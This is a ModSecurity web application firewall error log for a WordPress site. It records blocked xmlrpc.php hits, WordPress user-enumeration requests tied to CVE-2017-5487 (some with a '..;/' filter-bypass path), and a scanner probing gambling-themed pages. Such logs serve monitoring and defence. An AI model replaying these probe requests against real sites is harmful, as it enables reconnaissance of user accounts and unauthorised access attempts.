[Thu Apr 09 21:40:49.465196 2026] [:error] [pid 24624:tid 24647] [client 176.246.206.34:50223] [client 176.246.206.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.246.206.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adesYe4Jn-WvK1ZBTvjk1wAAANU"]
[Thu Apr 09 21:42:10.665026 2026] [:error] [pid 24515:tid 24541] [client 176.246.206.34:50395] [client 176.246.206.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.246.206.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adessq1OMnvM2fMnB1PI7QAAABY"]
[Fri Apr 10 01:23:03.033522 2026] [:error] [pid 36672:tid 36697] [client 62.60.131.159:12300] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfgdz99r9VLJsT_o8iCugAAANc"]
[Fri Apr 10 01:23:04.834360 2026] [:error] [pid 36672:tid 36679] [client 62.60.131.159:12272] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfgeD99r9VLJsT_o8iCxQAAAMU"]
[Fri Apr 10 01:23:05.868539 2026] [:error] [pid 36672:tid 36697] [client 62.60.131.159:12310] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfgeT99r9VLJsT_o8iCywAAANc"]
[Fri Apr 10 01:23:07.089155 2026] [:error] [pid 21486:tid 21489] [client 62.60.131.159:12396] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfge6BRftltyNdYwLojwAAAAQE"]
[Fri Apr 10 01:23:07.316003 2026] [:error] [pid 29569:tid 29581] [client 62.60.131.159:12280] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfge7t9mkieWu8HPk5CLgAAAUg"]
[Fri Apr 10 01:23:08.758118 2026] [:error] [pid 36672:tid 36680] [client 62.60.131.159:12436] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfgfD99r9VLJsT_o8iC2gAAAMY"]
[Fri Apr 10 01:23:11.371472 2026] [:error] [pid 36672:tid 36689] [client 62.60.131.159:54600] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfgfz99r9VLJsT_o8iC6gAAAM8"]
[Fri Apr 10 01:23:11.377315 2026] [:error] [pid 36398:tid 36429] [client 62.60.131.159:54602] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfgf-X640wXZwwgfP91IgAAAEE"]
[Fri Apr 10 01:23:12.092581 2026] [:error] [pid 21486:tid 21494] [client 62.60.131.159:54598] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfggKBRftltyNdYwLojyAAAAQY"]
[Fri Apr 10 01:23:14.588823 2026] [:error] [pid 29569:tid 29586] [client 62.60.131.159:54632] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfggrt9mkieWu8HPk5CMgAAAU0"]
[Fri Apr 10 01:23:16.092433 2026] [:error] [pid 36398:tid 36448] [client 62.60.131.159:54646] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfghOX640wXZwwgfP91JQAAAFQ"]
[Fri Apr 10 01:23:18.138042 2026] [:error] [pid 36672:tid 36694] [client 62.60.131.159:54662] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adfghj99r9VLJsT_o8iDBwAAANQ"]
[Fri Apr 10 01:23:19.667322 2026] [:error] [pid 36397:tid 36406] [client 62.60.131.159:28378] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adfgh2his4RvVEWEv9vy8AAAAAU"]
[Fri Apr 10 01:23:20.873381 2026] [:error] [pid 36399:tid 36478] [client 62.60.131.159:28388] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adfgiK8Hkxpyh6_TlVQ2CgAAAJc"]
[Fri Apr 10 01:23:24.077183 2026] [:error] [pid 36398:tid 36440] [client 62.60.131.159:28402] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adfgjOX640wXZwwgfP91JgAAAEw"]
[Fri Apr 10 01:23:28.799060 2026] [:error] [pid 36672:tid 36697] [client 62.60.131.159:28418] [client 62.60.131.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "adfgkD99r9VLJsT_o8iDJwAAANc"]
[Fri Apr 10 01:33:13.886663 2026] [:error] [pid 36672:tid 36683] [client 51.77.216.36:53614] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adfi2T99r9VLJsT_o8iHUgAAAMk"]
[Fri Apr 10 01:33:16.087027 2026] [:error] [pid 36399:tid 36476] [client 51.77.216.36:41434] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adfi3K8Hkxpyh6_TlVQ38wAAAJU"]
[Fri Apr 10 01:33:18.272340 2026] [:error] [pid 21486:tid 21511] [client 51.77.216.36:41446] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adfi3qBRftltyNdYwLomcgAAARc"]
[Fri Apr 10 01:33:20.569114 2026] [:error] [pid 29569:tid 29587] [client 51.77.216.36:39994] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adfi4Lt9mkieWu8HPk5E3wAAAU4"]
[Fri Apr 10 01:33:22.996185 2026] [:error] [pid 21486:tid 21506] [client 51.77.216.36:40008] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adfi4qBRftltyNdYwLomegAAARI"]
[Fri Apr 10 01:33:25.104630 2026] [:error] [pid 36672:tid 36687] [client 51.77.216.36:40020] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adfi5T99r9VLJsT_o8iHWwAAAM0"]
[Fri Apr 10 01:33:27.284768 2026] [:error] [pid 36398:tid 36428] [client 51.77.216.36:40022] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adfi5-X640wXZwwgfP92TQAAAEA"]
[Fri Apr 10 01:33:29.416913 2026] [:error] [pid 29569:tid 29585] [client 51.77.216.36:40028] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adfi6bt9mkieWu8HPk5E6QAAAUw"]
[Fri Apr 10 01:33:31.659130 2026] [:error] [pid 29569:tid 29585] [client 51.77.216.36:35154] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adfi67t9mkieWu8HPk5E_AAAAUw"]
[Fri Apr 10 01:33:33.754782 2026] [:error] [pid 29569:tid 29587] [client 51.77.216.36:35160] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adfi7bt9mkieWu8HPk5FAwAAAU4"]
[Fri Apr 10 01:33:35.656736 2026] [:error] [pid 36399:tid 36465] [client 51.77.216.36:35166] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adfi768Hkxpyh6_TlVQ4AwAAAIo"]
[Fri Apr 10 01:33:37.625659 2026] [:error] [pid 36398:tid 36443] [client 51.77.216.36:35174] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adfi8eX640wXZwwgfP92UQAAAE8"]
[Fri Apr 10 01:33:39.655155 2026] [:error] [pid 36399:tid 36460] [client 51.77.216.36:35182] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adfi868Hkxpyh6_TlVQ4CQAAAIU"]
[Fri Apr 10 01:33:41.869780 2026] [:error] [pid 21486:tid 21491] [client 51.77.216.36:58968] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adfi9aBRftltyNdYwLomkwAAAQM"]
[Fri Apr 10 01:33:43.928888 2026] [:error] [pid 21486:tid 21505] [client 51.77.216.36:58982] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adfi96BRftltyNdYwLomlQAAARE"]
[Fri Apr 10 01:33:46.191003 2026] [:error] [pid 21486:tid 21495] [client 51.77.216.36:58994] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adfi-qBRftltyNdYwLomnAAAAQc"]
[Fri Apr 10 01:33:48.384066 2026] [:error] [pid 29569:tid 29592] [client 51.77.216.36:59002] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adfi_Lt9mkieWu8HPk5FEAAAAVM"]
[Fri Apr 10 01:33:50.622001 2026] [:error] [pid 36397:tid 36401] [client 51.77.216.36:59942] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adfi_mhis4RvVEWEv9v0fAAAAAA"]
[Fri Apr 10 01:33:52.508314 2026] [:error] [pid 36398:tid 36436] [client 51.77.216.36:59956] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adfjAOX640wXZwwgfP92WgAAAEg"]
[Fri Apr 10 01:33:54.502423 2026] [:error] [pid 36672:tid 36683] [client 51.77.216.36:59970] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adfjAj99r9VLJsT_o8iHjwAAAMk"]
[Fri Apr 10 01:33:56.460039 2026] [:error] [pid 36672:tid 36693] [client 51.77.216.36:59984] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adfjBD99r9VLJsT_o8iHlgAAANM"]
[Fri Apr 10 01:33:58.525056 2026] [:error] [pid 36399:tid 36458] [client 51.77.216.36:59996] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adfjBq8Hkxpyh6_TlVQ4FQAAAIM"]
[Fri Apr 10 01:34:00.595149 2026] [:error] [pid 29569:tid 29588] [client 51.77.216.36:52318] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adfjCLt9mkieWu8HPk5FFwAAAU8"]
[Fri Apr 10 01:36:15.447261 2026] [:error] [pid 36397:tid 36412] [client 51.77.216.36:32944] [client 51.77.216.36] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "98.159.37.82_5f997d24d9336ba2beea1199a05724e09c33517b"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "adfjimhis4RvVEWEv9v0wAAAAAs"]
[Fri Apr 10 01:36:44.403944 2026] [:error] [pid 36397:tid 36405] [client 51.77.216.36:32944] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adfjrGhis4RvVEWEv9v00wAAAAQ"]
[Fri Apr 10 01:36:46.465549 2026] [:error] [pid 36672:tid 36684] [client 51.77.216.36:56862] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adfjrj99r9VLJsT_o8iIrgAAAMo"]
[Fri Apr 10 01:36:48.812315 2026] [:error] [pid 36397:tid 36407] [client 51.77.216.36:56866] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "adfjsGhis4RvVEWEv9v02AAAAAY"]
[Fri Apr 10 01:36:51.122037 2026] [:error] [pid 29569:tid 29595] [client 51.77.216.36:43154] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "adfjs7t9mkieWu8HPk5FjwAAAVY"]
[Fri Apr 10 01:36:53.353008 2026] [:error] [pid 36399:tid 36476] [client 51.77.216.36:43168] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "adfjta8Hkxpyh6_TlVQ4iAAAAJU"]
[Fri Apr 10 01:36:55.669682 2026] [:error] [pid 36399:tid 36475] [client 51.77.216.36:43182] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "adfjt68Hkxpyh6_TlVQ4iwAAAJQ"]
[Fri Apr 10 01:36:57.893476 2026] [:error] [pid 36672:tid 36698] [client 51.77.216.36:43192] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adfjuT99r9VLJsT_o8iIzgAAANg"]
[Fri Apr 10 01:37:00.226129 2026] [:error] [pid 36398:tid 36437] [client 51.77.216.36:43264] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adfjvOX640wXZwwgfP92vAAAAEk"]
[Fri Apr 10 01:37:02.467636 2026] [:error] [pid 21486:tid 21505] [client 51.77.216.36:43272] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adfjvqBRftltyNdYwLonmgAAARE"]
[Fri Apr 10 02:02:04.177964 2026] [:error] [pid 36399:tid 36463] [client 51.77.216.36:34566] [client 51.77.216.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adfpnK8Hkxpyh6_TlVQ8SwAAAIg"]
